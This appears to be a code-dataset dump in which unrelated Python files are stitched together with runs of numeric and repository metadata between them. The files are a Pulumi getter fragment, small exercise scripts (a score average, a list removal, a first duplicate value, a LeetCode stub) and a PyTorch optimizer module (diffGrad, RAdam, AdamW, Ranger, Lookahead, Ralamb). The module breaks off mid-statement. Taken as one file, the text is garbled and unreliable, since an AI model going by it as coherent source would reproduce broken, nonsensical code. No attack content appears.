@pulumi.getter(name="azureApiTimeout") def azure_api_timeout(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "azure_api_timeout") @azure_api_timeout.setter def azure_api_timeout(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "azure_api_timeout", value) @property @pulumi.getter(name="azureResourceGroup") def azure_resource_group(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "azure_resource_group") @azure_resource_group.setter def azure_resource_group(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "azure_resource_group", value) @property @pulumi.getter(name="credsSecretRef") def creds_secret_ref(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: return pulumi.get(self, "creds_secret_ref") @creds_secret_ref.setter def creds_secret_ref(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "creds_secret_ref", value) @property @pulumi.getter(name="snapshotCreationTimeout") def snapshot_creation_timeout(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "snapshot_creation_timeout") @snapshot_creation_timeout.setter def snapshot_creation_timeout(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "snapshot_creation_timeout", value) @pulumi.input_type class MigStorageStatusArgs: def __init__(__self__, *, observed_digest: Optional[pulumi.Input[str]] = None): if observed_digest is not None: pulumi.set(__self__, "observed_digest", observed_digest) @property @pulumi.getter(name="observedDigest") def observed_digest(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "observed_digest") @observed_digest.setter def observed_digest(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "observed_digest", value)
37.795533
168
0.673455
7,548
65,991
5.626126
0.034049
0.125371
0.082654
0.060401
0.812862
0.723143
0.675764
0.577568
0.519522
0.437668
0
0.002669
0.205089
65,991
1,745
169
37.817192
0.80687
0.002228
0
0.490446
1
0
0.138355
0.064294
0
0
0
0
0
1
0.210899
false
0
0.003539
0.095541
0.329795
0
0
0
0
null
0
0
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
f570554921f72939912d5d20ea85fa720fd9475d
85
py
Python
LinkedList/Other/Merge_Two_Sorted_Lists.py
prash-kr-meena/GoogleR
27aca71e51cc2442e604e07ab00406a98d8d63a4
[ "Apache-2.0" ]
null
null
null
LinkedList/Other/Merge_Two_Sorted_Lists.py
prash-kr-meena/GoogleR
27aca71e51cc2442e604e07ab00406a98d8d63a4
[ "Apache-2.0" ]
null
null
null
LinkedList/Other/Merge_Two_Sorted_Lists.py
prash-kr-meena/GoogleR
27aca71e51cc2442e604e07ab00406a98d8d63a4
[ "Apache-2.0" ]
null
null
null
""" Leetcode : https://leetcode.com/problems/merge-two-sorted-lists/description/ """
21.25
76
0.729412
10
85
6.2
0.9
0
0
0
0
0
0
0
0
0
0
0
0.058824
85
3
77
28.333333
0.775
0.894118
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
f57a88acf29a44c147e9418720c23e8b3f621a57
284
py
Python
solutions/2nd-conditionals/l2_a3.py
Jhynn/programming-concepts-and-logic
0ffa71c6259296813d3951f21e8d0d69dd523545
[ "CC-BY-4.0" ]
4
2021-08-03T01:13:34.000Z
2021-09-29T21:47:41.000Z
solutions/2nd-conditionals/l2_a3.py
Jhynn/programming-concepts-and-logic
0ffa71c6259296813d3951f21e8d0d69dd523545
[ "CC-BY-4.0" ]
null
null
null
solutions/2nd-conditionals/l2_a3.py
Jhynn/programming-concepts-and-logic
0ffa71c6259296813d3951f21e8d0d69dd523545
[ "CC-BY-4.0" ]
null
null
null
score_1 = float(input('Type your 1st score: ')) score_2 = float(input('Type your 2nd score: ')) average = (score_1 + score_2) / 2 print(f'Your average is {average}, therefore you...') print('Pass. Congrats.') if average > 6 \ else print('Fail. Study again, you\'ll get it. :)')
31.555556
55
0.65493
45
284
4.044444
0.577778
0.065934
0.153846
0.197802
0
0
0
0
0
0
0
0.033898
0.169014
284
8
56
35.5
0.737288
0
0
0
0
0
0.433099
0
0
0
0
0
0
1
0
false
0.166667
0
0
0
0.5
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
1
0
4
1924ac7b351766137011eb3973fedaaf42412525
181
py
Python
lists_mutation/remove_keyword.py
magicalcarpet/the_complete_python_course
0ac0c5015a93607d7d29258ac0a3fc38dda81bd2
[ "MIT" ]
null
null
null
lists_mutation/remove_keyword.py
magicalcarpet/the_complete_python_course
0ac0c5015a93607d7d29258ac0a3fc38dda81bd2
[ "MIT" ]
null
null
null
lists_mutation/remove_keyword.py
magicalcarpet/the_complete_python_course
0ac0c5015a93607d7d29258ac0a3fc38dda81bd2
[ "MIT" ]
null
null
null
nintendo_games = ['Zelda', 'Mario', 'Donkey Kong', 'Zelda'] nintendo_games.remove('Zelda') print(nintendo_games) if 'Wario' in nintendo_games: nintendo_games.remove('Wario')
20.111111
59
0.723757
23
181
5.478261
0.478261
0.515873
0.301587
0
0
0
0
0
0
0
0
0
0.116022
181
8
60
22.625
0.7875
0
0
0
0
0
0.227778
0
0
0
0
0
0
1
0
false
0
0
0
0
0.2
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
193ecbc32c6c8a548c7d9f210b3300cf07c59099
32
py
Python
AtC_Beg_Con_081-090/ABC084/A.py
yosho-18/AtCoder
50f6d5c92a01792552c31ac912ce1cd557b06fb0
[ "MIT" ]
null
null
null
AtC_Beg_Con_081-090/ABC084/A.py
yosho-18/AtCoder
50f6d5c92a01792552c31ac912ce1cd557b06fb0
[ "MIT" ]
null
null
null
AtC_Beg_Con_081-090/ABC084/A.py
yosho-18/AtCoder
50f6d5c92a01792552c31ac912ce1cd557b06fb0
[ "MIT" ]
null
null
null
m = int(input()) print(24+24-m)
10.666667
16
0.59375
7
32
2.714286
0.714286
0
0
0
0
0
0
0
0
0
0
0.142857
0.125
32
3
17
10.666667
0.535714
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
4
1944f0e53db6bace07d3108dd6acedd195292e26
162
py
Python
algoexpert/medium/FirstDuplicateValue.py
dawar-s/algo-ds-sol-python
c455bb43dd68e177e5c744383c2d17888f4efe1b
[ "MIT" ]
null
null
null
algoexpert/medium/FirstDuplicateValue.py
dawar-s/algo-ds-sol-python
c455bb43dd68e177e5c744383c2d17888f4efe1b
[ "MIT" ]
null
null
null
algoexpert/medium/FirstDuplicateValue.py
dawar-s/algo-ds-sol-python
c455bb43dd68e177e5c744383c2d17888f4efe1b
[ "MIT" ]
null
null
null
def firstDuplicateValue(array): for n in array: n = abs(n) if array[n - 1] < 0: return n array[n - 1] *= -1 return -1
20.25
31
0.462963
23
162
3.26087
0.478261
0.24
0.186667
0
0
0
0
0
0
0
0
0.053191
0.419753
162
7
32
23.142857
0.744681
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.428571
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
195ead58a22b430f428401921d421afdd640f11f
34,642
py
Python
src/optimizers.py
tattaka/ukiyoe
4a1024ddf30737e68923dcdd6a50580d912e076d
[ "MIT" ]
10
2020-01-14T07:59:13.000Z
2021-08-31T02:46:45.000Z
src/optimizers.py
tattaka/ukiyoe
4a1024ddf30737e68923dcdd6a50580d912e076d
[ "MIT" ]
null
null
null
src/optimizers.py
tattaka/ukiyoe
4a1024ddf30737e68923dcdd6a50580d912e076d
[ "MIT" ]
null
null
null
import torch import warnings from torch.optim.optimizer import Optimizer, required import math import itertools as it import torch.optim as optim warnings.filterwarnings("once") def get_optimizer(optimizer: str = 'Adam', lookahead: bool = False, model=None, separate_decoder: bool = True, lr: float = 1e-3, lr_e: float = 1e-3): """ # https://github.com/lonePatient/lookahead_pytorch/blob/master/run.py :param optimizer: :param lookahead: :param model: :param separate_decoder: :param lr: :param lr_e: :return: """ if separate_decoder: params = [ {'params': model.cls_head.parameters(), 'lr': lr }, {'params': model.encoder.parameters(), 'lr': lr_e}, ] else: params = [{'params': model.parameters(), 'lr': lr}] if optimizer == 'Adam': optimizer = optim.Adam(params, lr=lr) elif optimizer == 'RAdam': optimizer = RAdam(params, lr=lr) elif optimizer == 'Ralamb': optimizer = Ralamb(params, lr=lr) elif optimizer == 'AdamW': optimizer = AdamW(params, lr=lr) elif optimizer == 'diffGrad': optimizer = diffGrad(params, lr=lr) elif optimizer == 'diffRGrad': optimizer = diffRGrad(params, lr=lr) else: raise ValueError('unknown base optimizer type') if lookahead: optimizer = Lookahead(base_optimizer=optimizer, k=5, alpha=0.5) return optimizer class diffGrad(Optimizer): r"""Implements diffGrad algorithm. It is modified from the pytorch implementation of Adam. It has been proposed in `diffGrad: An Optimization Method for Convolutional Neural Networks`_. Arguments: params (iterable): iterable of parameters to optimize or dicts defining parameter groups lr (float, optional): learning rate (default: 1e-3) betas (Tuple[float, float], optional): coefficients used for computing running averages of gradient and its square (default: (0.9, 0.999)) eps (float, optional): term added to the denominator to improve numerical stability (default: 1e-8) weight_decay (float, optional): weight decay (L2 penalty) (default: 0) amsgrad (boolean, optional): whether to use the AMSGrad variant of this algorithm from the paper `On the Convergence of Adam and Beyond`_ (default: False) .. _diffGrad: An Optimization Method for Convolutional Neural Networks: https://arxiv.org/abs/1909.11015 .. _Adam\: A Method for Stochastic Optimization: https://arxiv.org/abs/1412.6980 .. _On the Convergence of Adam and Beyond: https://openreview.net/forum?id=ryQu7f-RZ """ def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, version=0, weight_decay=0): if not 0.0 <= lr: raise ValueError("Invalid learning rate: {}".format(lr)) if not 0.0 <= eps: raise ValueError("Invalid epsilon value: {}".format(eps)) if not 0.0 <= betas[0] < 1.0: raise ValueError("Invalid beta parameter at index 0: {}".format(betas[0])) if not 0.0 <= betas[1] < 1.0: raise ValueError("Invalid beta parameter at index 1: {}".format(betas[1])) defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay) super().__init__(params, defaults) #save version self.version = version def __setstate__(self, state): super().__setstate__(state) def step(self, closure=None): """Performs a single optimization step. Arguments: closure (callable, optional): A closure that reevaluates the model and returns the loss. """ loss = None if closure is not None: loss = closure() for group in self.param_groups: for p in group['params']: if p.grad is None: continue grad = p.grad.data if grad.is_sparse: raise RuntimeError('diffGrad does not support sparse gradients, please consider SparseAdam instead') state = self.state[p] # State initialization if len(state) == 0: state['step'] = 0 # Exponential moving average of gradient values state['exp_avg'] = torch.zeros_like(p.data) # Exponential moving average of squared gradient values state['exp_avg_sq'] = torch.zeros_like(p.data) # Previous gradient state['previous_grad'] = torch.zeros_like(p.data) exp_avg, exp_avg_sq, previous_grad = state['exp_avg'], state['exp_avg_sq'], state['previous_grad'] beta1, beta2 = group['betas'] state['step'] += 1 if group['weight_decay'] != 0: grad.add_(group['weight_decay'], p.data) # Decay the first and second moment running average coefficient exp_avg.mul_(beta1).add_(1 - beta1, grad) exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad) denom = exp_avg_sq.sqrt().add_(group['eps']) bias_correction1 = 1 - beta1 ** state['step'] bias_correction2 = 1 - beta2 ** state['step'] # compute diffgrad coefficient (dfc) if self.version==0: diff = abs(previous_grad - grad) elif self.version ==1: diff = previous_grad-grad elif self.version ==2: diff = .5*abs(previous_grad - grad) if self.version==0 or self.version==1: dfc = 1. / (1. + torch.exp(-diff)) elif self.version==2: dfc = 9. / (1. + torch.exp(-diff))-4 #DFC2 = 9/(1+e-(.5/g/)-4 #range .5,5 state['previous_grad'] = grad # update momentum with dfc exp_avg1 = exp_avg * dfc step_size = group['lr'] * math.sqrt(bias_correction2) / bias_correction1 p.data.addcdiv_(-step_size, exp_avg1, denom) return loss class diffRGrad(Optimizer): def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, version=0, weight_decay=0, degenerated_to_sgd=True): if not 0.0 <= lr: raise ValueError("Invalid learning rate: {}".format(lr)) if not 0.0 <= eps: raise ValueError("Invalid epsilon value: {}".format(eps)) if not 0.0 <= betas[0] < 1.0: raise ValueError("Invalid beta parameter at index 0: {}".format(betas[0])) if not 0.0 <= betas[1] < 1.0: raise ValueError("Invalid beta parameter at index 1: {}".format(betas[1])) self.degenerated_to_sgd = degenerated_to_sgd self.version = version if isinstance(params, (list, tuple)) and len(params) > 0 and isinstance(params[0], dict): for param in params: if 'betas' in param and (param['betas'][0] != betas[0] or param['betas'][1] != betas[1]): param['buffer'] = [[None, None, None] for _ in range(10)] defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay, buffer=[[None, None, None] for _ in range(10)]) super(diffRGrad, self).__init__(params, defaults) def __setstate__(self, state): super(diffRGrad, self).__setstate__(state) def step(self, closure=None): loss = None if closure is not None: loss = closure() for group in self.param_groups: for p in group['params']: if p.grad is None: continue grad = p.grad.data.float() if grad.is_sparse: raise RuntimeError('diffGRad does not support sparse gradients') p_data_fp32 = p.data.float() state = self.state[p] if len(state) == 0: state['step'] = 0 state['exp_avg'] = torch.zeros_like(p_data_fp32) state['exp_avg_sq'] = torch.zeros_like(p_data_fp32) # Previous gradient state['previous_grad'] = torch.zeros_like(p_data_fp32) else: state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32) state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32) state['previous_grad'] = state['previous_grad'].type_as(p_data_fp32) exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] previous_grad = state['previous_grad'] beta1, beta2 = group['betas'] exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad) exp_avg.mul_(beta1).add_(1 - beta1, grad) state['step'] += 1 # compute diffgrad coefficient (dfc) #print("grad = ",grad.size()) #print("prev_grad = ",previous_grad.size()) if self.version==0: diff = abs(previous_grad - grad) elif self.version ==1: diff = previous_grad-grad elif self.version ==2: diff = .5*abs(previous_grad - grad) if self.version==0 or self.version==1: dfc = 1. / (1. + torch.exp(-diff)) elif self.version==2: dfc = 9. / (1. + torch.exp(-diff))-4 #DFC2 = 9/(1+e-(.5/g/)-4 #range .5,5 state['previous_grad'] = grad buffered = group['buffer'][int(state['step'] % 10)] if state['step'] == buffered[0]: N_sma, step_size = buffered[1], buffered[2] else: buffered[0] = state['step'] beta2_t = beta2 ** state['step'] N_sma_max = 2 / (1 - beta2) - 1 N_sma = N_sma_max - 2 * state['step'] * beta2_t / (1 - beta2_t) buffered[1] = N_sma # more conservative since it's an approximated value if N_sma >= 5: step_size = math.sqrt((1 - beta2_t) * (N_sma - 4) / (N_sma_max - 4) * (N_sma - 2) / N_sma * N_sma_max / (N_sma_max - 2)) / (1 - beta1 ** state['step']) elif self.degenerated_to_sgd: step_size = 1.0 / (1 - beta1 ** state['step']) else: step_size = -1 buffered[2] = step_size # more conservative since it's an approximated value if N_sma >= 5: if group['weight_decay'] != 0: p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32) denom = exp_avg_sq.sqrt().add_(group['eps']) # update momentum with dfc #print("dfc ",dfc.size()) #print("exp_avg ",exp_avg.size()) exp_avg1 = exp_avg * dfc.float() p_data_fp32.addcdiv_(-step_size * group['lr'], exp_avg1, denom) p.data.copy_(p_data_fp32) elif step_size > 0: #print("exp_avg in elif",exp_avg.size()) if group['weight_decay'] != 0: p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32) p_data_fp32.add_(-step_size * group['lr'], exp_avg) p.data.copy_(p_data_fp32) return loss class RAdam(Optimizer): def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0): if not 0.0 <= lr: raise ValueError("Invalid learning rate: {}".format(lr)) if not 0.0 <= eps: raise ValueError("Invalid epsilon value: {}".format(eps)) if not 0.0 <= betas[0] < 1.0: raise ValueError("Invalid beta parameter at index 0: {}".format(betas[0])) if not 0.0 <= betas[1] < 1.0: raise ValueError("Invalid beta parameter at index 1: {}".format(betas[1])) defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay) self.buffer = [[None, None, None] for ind in range(10)] super(RAdam, self).__init__(params, defaults) def __setstate__(self, state): super(RAdam, self).__setstate__(state) def step(self, closure=None): loss = None if closure is not None: loss = closure() for group in self.param_groups: for p in group['params']: if p.grad is None: continue grad = p.grad.data.float() if grad.is_sparse: raise RuntimeError('RAdam does not support sparse gradients') p_data_fp32 = p.data.float() state = self.state[p] if len(state) == 0: state['step'] = 0 state['exp_avg'] = torch.zeros_like(p_data_fp32) state['exp_avg_sq'] = torch.zeros_like(p_data_fp32) else: state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32) state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32) exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] beta1, beta2 = group['betas'] exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad) exp_avg.mul_(beta1).add_(1 - beta1, grad) state['step'] += 1 buffered = self.buffer[int(state['step'] % 10)] if state['step'] == buffered[0]: N_sma, step_size = buffered[1], buffered[2] else: buffered[0] = state['step'] beta2_t = beta2 ** state['step'] N_sma_max = 2 / (1 - beta2) - 1 N_sma = N_sma_max - 2 * state['step'] * beta2_t / (1 - beta2_t) buffered[1] = N_sma # more conservative since it's an approximated value if N_sma >= 5: step_size = math.sqrt((1 - beta2_t) * (N_sma - 4) / (N_sma_max - 4) * (N_sma - 2) / N_sma * N_sma_max / (N_sma_max - 2)) / (1 - beta1 ** state['step']) else: step_size = 1.0 / (1 - beta1 ** state['step']) buffered[2] = step_size if group['weight_decay'] != 0: p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32) # more conservative since it's an approximated value if N_sma >= 5: denom = exp_avg_sq.sqrt().add_(group['eps']) p_data_fp32.addcdiv_(-step_size * group['lr'], exp_avg, denom) else: p_data_fp32.add_(-step_size * group['lr'], exp_avg) p.data.copy_(p_data_fp32) return loss class PlainRAdam(Optimizer): def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0): if not 0.0 <= lr: raise ValueError("Invalid learning rate: {}".format(lr)) if not 0.0 <= eps: raise ValueError("Invalid epsilon value: {}".format(eps)) if not 0.0 <= betas[0] < 1.0: raise ValueError("Invalid beta parameter at index 0: {}".format(betas[0])) if not 0.0 <= betas[1] < 1.0: raise ValueError("Invalid beta parameter at index 1: {}".format(betas[1])) defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay) super(PlainRAdam, self).__init__(params, defaults) def __setstate__(self, state): super(PlainRAdam, self).__setstate__(state) def step(self, closure=None): loss = None if closure is not None: loss = closure() for group in self.param_groups: for p in group['params']: if p.grad is None: continue grad = p.grad.data.float() if grad.is_sparse: raise RuntimeError('RAdam does not support sparse gradients') p_data_fp32 = p.data.float() state = self.state[p] if len(state) == 0: state['step'] = 0 state['exp_avg'] = torch.zeros_like(p_data_fp32) state['exp_avg_sq'] = torch.zeros_like(p_data_fp32) else: state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32) state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32) exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] beta1, beta2 = group['betas'] exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad) exp_avg.mul_(beta1).add_(1 - beta1, grad) state['step'] += 1 beta2_t = beta2 ** state['step'] N_sma_max = 2 / (1 - beta2) - 1 N_sma = N_sma_max - 2 * state['step'] * beta2_t / (1 - beta2_t) if group['weight_decay'] != 0: p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32) # more conservative since it's an approximated value if N_sma >= 5: step_size = group['lr'] * math.sqrt((1 - beta2_t) * (N_sma - 4) / (N_sma_max - 4) * (N_sma - 2) / N_sma * N_sma_max / (N_sma_max - 2)) / (1 - beta1 ** state['step']) denom = exp_avg_sq.sqrt().add_(group['eps']) p_data_fp32.addcdiv_(-step_size, exp_avg, denom) else: step_size = group['lr'] / (1 - beta1 ** state['step']) p_data_fp32.add_(-step_size, exp_avg) p.data.copy_(p_data_fp32) return loss class AdamW(Optimizer): def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0, warmup = 0): if not 0.0 <= lr: raise ValueError("Invalid learning rate: {}".format(lr)) if not 0.0 <= eps: raise ValueError("Invalid epsilon value: {}".format(eps)) if not 0.0 <= betas[0] < 1.0: raise ValueError("Invalid beta parameter at index 0: {}".format(betas[0])) if not 0.0 <= betas[1] < 1.0: raise ValueError("Invalid beta parameter at index 1: {}".format(betas[1])) defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay, warmup = warmup) super(AdamW, self).__init__(params, defaults) def __setstate__(self, state): super(AdamW, self).__setstate__(state) def step(self, closure=None): loss = None if closure is not None: loss = closure() for group in self.param_groups: for p in group['params']: if p.grad is None: continue grad = p.grad.data.float() if grad.is_sparse: raise RuntimeError('Adam does not support sparse gradients, please consider SparseAdam instead') p_data_fp32 = p.data.float() state = self.state[p] if len(state) == 0: state['step'] = 0 state['exp_avg'] = torch.zeros_like(p_data_fp32) state['exp_avg_sq'] = torch.zeros_like(p_data_fp32) else: state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32) state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32) exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] beta1, beta2 = group['betas'] state['step'] += 1 exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad) exp_avg.mul_(beta1).add_(1 - beta1, grad) denom = exp_avg_sq.sqrt().add_(group['eps']) bias_correction1 = 1 - beta1 ** state['step'] bias_correction2 = 1 - beta2 ** state['step'] if group['warmup'] > state['step']: scheduled_lr = 1e-8 + state['step'] * group['lr'] / group['warmup'] else: scheduled_lr = group['lr'] step_size = scheduled_lr * math.sqrt(bias_correction2) / bias_correction1 if group['weight_decay'] != 0: p_data_fp32.add_(-group['weight_decay'] * scheduled_lr, p_data_fp32) p_data_fp32.addcdiv_(-step_size, exp_avg, denom) p.data.copy_(p_data_fp32) return loss class Ranger(Optimizer): # https://github.com/lessw2020/Ranger-Deep-Learning-Optimizer/blob/master/ranger.py def __init__(self, params, lr=1e-3, alpha=0.5, k=6, N_sma_threshhold=5, betas=(.95, 0.999), eps=1e-5, weight_decay=0): # parameter checks if not 0.0 <= alpha <= 1.0: raise ValueError(f'Invalid slow update rate: {alpha}') if not 1 <= k: raise ValueError(f'Invalid lookahead steps: {k}') if not lr > 0: raise ValueError(f'Invalid Learning Rate: {lr}') if not eps > 0: raise ValueError(f'Invalid eps: {eps}') # parameter comments: # beta1 (momentum) of .95 seems to work better than .90... # N_sma_threshold of 5 seems better in testing than 4. # In both cases, worth testing on your dataset (.90 vs .95, 4 vs 5) to make sure which works best for you. # prep defaults and init torch.optim base defaults = dict(lr=lr, alpha=alpha, k=k, step_counter=0, betas=betas, N_sma_threshhold=N_sma_threshhold, eps=eps, weight_decay=weight_decay) super().__init__(params, defaults) # adjustable threshold self.N_sma_threshhold = N_sma_threshhold # look ahead params self.alpha = alpha self.k = k # radam buffer for state self.radam_buffer = [[None,None,None] for ind in range(10)] def __setstate__(self, state): print("set state called") super(Ranger, self).__setstate__(state) def step(self, closure=None): loss = None # Evaluate averages and grad, update param tensors for group in self.param_groups: for p in group['params']: if p.grad is None: continue grad = p.grad.data.float() if grad.is_sparse: raise RuntimeError('Ranger optimizer does not support sparse gradients') p_data_fp32 = p.data.float() state = self.state[p] #get state dict for this param if len(state) == 0: #if first time to run...init dictionary with our desired entries #if self.first_run_check==0: #self.first_run_check=1 #print("Initializing slow buffer...should not see this at load from saved model!") state['step'] = 0 state['exp_avg'] = torch.zeros_like(p_data_fp32) state['exp_avg_sq'] = torch.zeros_like(p_data_fp32) #look ahead weight storage now in state dict state['slow_buffer'] = torch.empty_like(p.data) state['slow_buffer'].copy_(p.data) else: state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32) state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32) #begin computations exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] beta1, beta2 = group['betas'] #compute variance mov avg exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad) #compute mean moving avg exp_avg.mul_(beta1).add_(1 - beta1, grad) state['step'] += 1 buffered = self.radam_buffer[int(state['step'] % 10)] if state['step'] == buffered[0]: N_sma, step_size = buffered[1], buffered[2] else: buffered[0] = state['step'] beta2_t = beta2 ** state['step'] N_sma_max = 2 / (1 - beta2) - 1 N_sma = N_sma_max - 2 * state['step'] * beta2_t / (1 - beta2_t) buffered[1] = N_sma if N_sma > self.N_sma_threshhold: step_size = math.sqrt((1 - beta2_t) * (N_sma - 4) / (N_sma_max - 4) * (N_sma - 2) / N_sma * N_sma_max / (N_sma_max - 2)) / (1 - beta1 ** state['step']) else: step_size = 1.0 / (1 - beta1 ** state['step']) buffered[2] = step_size if group['weight_decay'] != 0: p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32) if N_sma > self.N_sma_threshhold: denom = exp_avg_sq.sqrt().add_(group['eps']) p_data_fp32.addcdiv_(-step_size * group['lr'], exp_avg, denom) else: p_data_fp32.add_(-step_size * group['lr'], exp_avg) p.data.copy_(p_data_fp32) #integrated look ahead... #we do it at the param level instead of group level if state['step'] % group['k'] == 0: slow_p = state['slow_buffer'] #get access to slow param tensor slow_p.add_(self.alpha, p.data - slow_p) #(fast weights - slow weights) * alpha p.data.copy_(slow_p) #copy interpolated weights to RAdam param tensor return loss # class RAdam(Optimizer): # def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0): # defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay) # self.buffer = [[None, None, None] for ind in range(10)] # super(RAdam, self).__init__(params, defaults) # def __setstate__(self, state): # super(RAdam, self).__setstate__(state) # def step(self, closure=None): # loss = None # if closure is not None: # loss = closure() # for group in self.param_groups: # for p in group['params']: # if p.grad is None: # continue # grad = p.grad.data.float() # if grad.is_sparse: # raise RuntimeError('RAdam does not support sparse gradients') # p_data_fp32 = p.data.float() # state = self.state[p] # if len(state) == 0: # state['step'] = 0 # state['exp_avg'] = torch.zeros_like(p_data_fp32) # state['exp_avg_sq'] = torch.zeros_like(p_data_fp32) # else: # state['exp_avg'] = state['exp_avg'].type_as(p_data_fp32) # state['exp_avg_sq'] = state['exp_avg_sq'].type_as(p_data_fp32) # exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq'] # beta1, beta2 = group['betas'] # exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad) # exp_avg.mul_(beta1).add_(1 - beta1, grad) # state['step'] += 1 # buffered = self.buffer[int(state['step'] % 10)] # if state['step'] == buffered[0]: # N_sma, step_size = buffered[1], buffered[2] # else: # buffered[0] = state['step'] # beta2_t = beta2 ** state['step'] # N_sma_max = 2 / (1 - beta2) - 1 # N_sma = N_sma_max - 2 * state['step'] * beta2_t / (1 - beta2_t) # buffered[1] = N_sma # if N_sma >= 5: # step_size = math.sqrt((1 - beta2_t) * (N_sma - 4) / (N_sma_max - 4) * (N_sma - 2) / N_sma * N_sma_max / (N_sma_max - 2)) / (1 - beta1 ** state['step']) # else: # step_size = 1.0 / (1 - beta1 ** state['step']) # buffered[2] = step_size # if group['weight_decay'] != 0: # p_data_fp32.add_(-group['weight_decay'] * group['lr'], p_data_fp32) # # more conservative since it's an approximated value # if N_sma >= 5: # denom = exp_avg_sq.sqrt().add_(group['eps']) # p_data_fp32.addcdiv_(-step_size * group['lr'], exp_avg, denom) # else: # p_data_fp32.add_(-step_size * group['lr'], exp_avg) # p.data.copy_(p_data_fp32) # return loss # https://github.com/lonePatient/lookahead_pytorch/blob/master/optimizer.py class Lookahead(Optimizer): def __init__(self, base_optimizer,alpha=0.5, k=6): if not 0.0 <= alpha <= 1.0: raise ValueError(f'Invalid slow update rate: {alpha}') if not 1 <= k: raise ValueError(f'Invalid lookahead steps: {k}') self.optimizer = base_optimizer self.param_groups = self.optimizer.param_groups self.alpha = alpha self.k = k for group in self.param_groups: group["step_counter"] = 0 self.slow_weights = [[p.clone().detach() for p in group['params']] for group in self.param_groups] for w in it.chain(*self.slow_weights): w.requires_grad = False def step(self, closure=None): loss = None if closure is not None: loss = closure() loss = self.optimizer.step() for group,slow_weights in zip(self.param_groups,self.slow_weights): group['step_counter'] += 1 if group['step_counter'] % self.k != 0: continue for p,q in zip(group['params'],slow_weights): if p.grad is None: continue q.data.add_(self.alpha,p.data - q.data) p.data.copy_(q.data) return loss class Ralamb(Optimizer): ''' Ralamb optimizer (RAdam + LARS trick) ''' def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8, weight_decay=0): defaults = dict(lr=lr, betas=betas, eps=eps, weight_decay=weight_decay) self.buffer = [[None, None, None] for ind in range(10)] super(Ralamb, self).__init__(params, defaults) def __setstate__(self, state): super(Ralamb, self).__setstate__(state) def step(self, closure=None): loss = None if closure is not None: loss = closure() for group in self.param_groups: for p in group['params']: if p.grad is None: continue grad = p.grad.data.float() if grad.is_sparse: raise 